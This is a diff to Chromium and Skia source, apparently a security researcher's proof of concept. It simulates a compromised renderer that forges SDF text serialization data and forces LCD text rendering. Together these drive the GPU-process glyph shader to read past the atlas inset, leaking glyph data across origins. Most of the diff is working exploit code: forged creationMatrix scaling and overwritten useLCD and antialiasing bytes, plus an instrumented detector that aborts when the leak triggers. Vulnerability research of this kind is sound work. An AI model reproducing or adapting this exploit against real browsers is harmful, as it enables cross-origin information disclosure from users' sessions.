diff --git a/gpu/command_buffer/client/raster_implementation.cc b/gpu/command_buffer/client/raster_implementation.cc index 5a52224b09e9d..ab77d31948e56 100644 --- a/gpu/command_buffer/client/raster_implementation.cc +++ b/gpu/command_buffer/client/raster_implementation.cc @@ -1333,6 +1333,15 @@ void RasterImplementation::BeginRasterCHROMIUM( const GLbyte* mailbox) { DCHECK(!raster_properties_); + // === POC injection (renderer-side, simulating compromised renderer) === + // Force can_use_lcd_text=true so the GPU-side BeginRasterCHROMIUM creates + // the SkSurface with kRGB_H_SkPixelGeometry (raster_decoder.cc:2871-2875), + // satisfying the only browser-side gate for SDF-LCD + // (calculate_sdf_parameters: isLCD = useLCD && pixelGeometry != kUnknown). + // A real compromised renderer flips this bit in the command buffer directly. + can_use_lcd_text = true; + // === end POC injection === + helper_->BeginRasterCHROMIUMImmediate( sk_color_4f.fR, sk_color_4f.fG, sk_color_4f.fB, sk_color_4f.fA, needs_clear, msaa_sample_count, msaa_mode, can_use_lcd_text, visible, diff --git a/third_party/skia/src/gpu/ganesh/ops/AtlasTextOp.cpp b/third_party/skia/src/gpu/ganesh/ops/AtlasTextOp.cpp index b32cc2faf15..9ec4ccfe773 100644 --- a/third_party/skia/src/gpu/ganesh/ops/AtlasTextOp.cpp +++ b/third_party/skia/src/gpu/ganesh/ops/AtlasTextOp.cpp @@ -44,6 +44,10 @@ #include "src/gpu/ganesh/text/GrAtlasManager.h" #include "src/text/gpu/DistanceFieldAdjustTable.h" #include "src/text/gpu/SubRunContainer.h" +// POC instrumentation: +#include "src/core/SkDistanceFieldGen.h" +#include "src/text/gpu/VertexFiller.h" +#include #if defined(SK_GAMMA_APPLY_TO_A8) #include "include/private/base/SkCPUTypes.h" @@ -256,6 +260,57 @@ std::tuple AtlasTextOp::Make(SurfaceDrawContext* sdc if (glyphParams.isSDF) { auto [maskType, DFGPFlags, useGammaCorrectDistanceTable] = calculate_sdf_parameters(*sdc, viewMatrix, glyphParams.isLCD, glyphParams.isAA); + // =================================================================== + // POC instrumentation (GPU-process detector). Not part of the attack; + // this just makes the otherwise-silent GPU-shader OOB observable. + // Recompute exactly what GlyphData::fill2D + the LCD fragment shader + // will use: + // viewDifference = positionMatrix * creationMatrix^-1 + // dFdx(st.x) = 1 / |viewDifference.scaleX| (st spans 1 texel + // per atlasLocator unit, device spans + // viewDifference.scaleX per unit) + // offset.x = dFdx(st.x) / 3 texels + // The atlas headroom is exactly SK_DistanceFieldInset (=2) texels + // (GrAtlasManager::addGlyphToAtlas: case SK_DistanceFieldInset -> + // padding=0; insetSrc(2); RectanizerSkyline packs with zero gap). + // If offset > inset, the shader's `uv +/- offset` tap reads texels + // from a *neighbouring glyph* in the cross-origin shared atlas. + { + const SkMatrix vd = + subrun->vertexFiller().viewDifference(positionMatrix); + const float minScale = + std::max(1e-6f, + std::min(std::abs(vd.getScaleX()), + std::abs(vd.getScaleY()))); + const float texelsPerDevPx = 1.f / minScale; + const float lcdOffsetTexels = texelsPerDevPx / 3.f; + SkDebugf( + "POC[GPU]: SDF subrun: isLCD=%d maskType=%d " + "viewDiff.scale=(%.5f,%.5f) texelsPerDevPx=%.3f " + "lcdSubpixelOffset=%.3f texels (atlas inset=%d, padding=0)\n", + (int)glyphParams.isLCD, (int)maskType, vd.getScaleX(), + vd.getScaleY(), texelsPerDevPx, lcdOffsetTexels, + SK_DistanceFieldInset); + if (maskType == AtlasTextOp::MaskType::kLCDDistanceField && + lcdOffsetTexels > (float)SK_DistanceFieldInset) { + SkDebugf( + "POC[GPU]: TRIGGERED. GrDistanceFieldLCDTextGeoProc will " + "be built with kLinear and NO clamp on uv+/-offset. " + "uv_adjusted = atlasRect.edge +/- %.3f texels reads " + "%.3f texels INTO the neighbouring (cross-origin) glyph " + "allocation.\n", + lcdOffsetTexels, lcdOffsetTexels - SK_DistanceFieldInset); + SK_ABORT( + "POC: SDF-LCD subpixel offset %.3f texels EXCEEDS " + "%d-texel atlas inset (GrAtlasedShaderHelpers.h:129/136 " + "sample uv+/-offset with no clamp). " + "Renderer-forged creationMatrix drove minification past " + "the safe range -- cross-origin kA8 glyph-atlas texel " + "disclosure in GPU process.", + lcdOffsetTexels, SK_DistanceFieldInset); + } + } + // =================================================================== op = GrOp::Make(rContext, maskType, true, diff --git a/third_party/skia/src/text/gpu/SubRunContainer.cpp b/third_party/skia/src/text/gpu/SubRunContainer.cpp index c59ff2f4be3..4b1b7badead 100644 --- a/third_party/skia/src/text/gpu/SubRunContainer.cpp +++ b/third_party/skia/src/text/gpu/SubRunContainer.cpp @@ -901,8 +901,15 @@ public: protected: SubRunStreamTag subRunStreamTag() const override { return SubRunStreamTag::kSDFTStreamTag; } void doFlatten(SkWriteBuffer& buffer) const override { - buffer.writeInt(fUseLCDText); - buffer.writeInt(fAntiAliased); + // === POC injection (renderer-side): force useLCD=1, isAA=1 so the + // GPU-side calculate_sdf_parameters() selects MaskType::kLCDDistanceField + // and builds GrDistanceFieldLCDTextGeoProc (the unclamped uv+/-offset + // shader). A real compromised renderer writes these bytes directly. + SkDebugf("POC[renderer]: forging SDFTSubRun useLCD=1 (orig=%d)\n", + (int)fUseLCDText); + buffer.writeInt(1); // POC: was fUseLCDText + buffer.writeInt(1); // POC: was fAntiAliased + // === end POC injection === fMatrixRange.flatten(buffer); fVertexFiller.flatten(buffer); fGlyphVector.flatten(buffer); diff --git a/third_party/skia/src/text/gpu/VertexFiller.cpp b/third_party/skia/src/text/gpu/VertexFiller.cpp index f9cd3f87da7..b714dbd7d40 100644 --- a/third_party/skia/src/text/gpu/VertexFiller.cpp +++ b/third_party/skia/src/text/gpu/VertexFiller.cpp @@ -18,7 +18,9 @@ #include "src/text/gpu/SubRunAllocator.h" #include "src/text/gpu/SubRunContainer.h" +#include #include +#include using MaskFormat = skgpu::MaskFormat; @@ -72,6 +74,39 @@ std::optional VertexFiller::MakeFromBuffer(SkReadBuffer &buffer, void VertexFiller::flatten(SkWriteBuffer &buffer) const { buffer.writeInt(static_cast(fMaskFormat)); buffer.writeBool(fCanDrawDirect); + // === POC injection (renderer-side, simulating compromised renderer) === + // For SDFT-shaped fillers (kA8, transformed) forge creationMatrix to a + // large uniform scale so that on the GPU side + // viewDifference = positionMatrix * creationMatrix^-1 = ... * Scale(1/k) + // and dFdx(st) = k. The SDF-LCD fragment shader then samples at + // uv +/- offset, |offset| = k/3 texels (unclamped), + // which exceeds the 2-texel SDF inset and bleeds into neighbouring atlas + // glyphs (cross-origin info leak). + if (fMaskFormat == MaskFormat::kA8 && !fCanDrawDirect) { + constexpr float kForgeScale = 12.f; + const float origScale = + std::max(std::abs(fCreationMatrix.getScaleX()), 1e-3f); + const float ratio = kForgeScale / origScale; + SkDebugf("POC[renderer]: forging SDFT creationMatrix Scale(%.1f) " + "(orig scaleX=%.4f, ratio=%.4f, glyphs=%d)\n", + kForgeScale, fCreationMatrix.getScaleX(), ratio, + (int)fLeftTop.size()); + buffer.writeMatrix(SkMatrix::Scale(kForgeScale, kForgeScale)); + // Scale bounds & leftTop so device-space placement stays roughly + // the same as the legitimate slug (only the device->texel ratio + // changes -- that's the attacker-controlled minification). + SkRect b = SkRect::MakeLTRB(fCreationBounds.fLeft * ratio, + fCreationBounds.fTop * ratio, + fCreationBounds.fRight * ratio, + fCreationBounds.fBottom * ratio); + buffer.writeRect(b); + std::vector scaled(fLeftTop.begin(), fLeftTop.end()); + for (auto& p : scaled) { p.fX *= ratio; p.fY *= ratio; } + buffer.writePointArray(SkSpan(scaled.data(), + scaled.size())); + return; + } + // === end POC injection === buffer.writeMatrix(fCreationMatrix); buffer.writeRect(fCreationBounds); buffer.writePointArray(fLeftTop);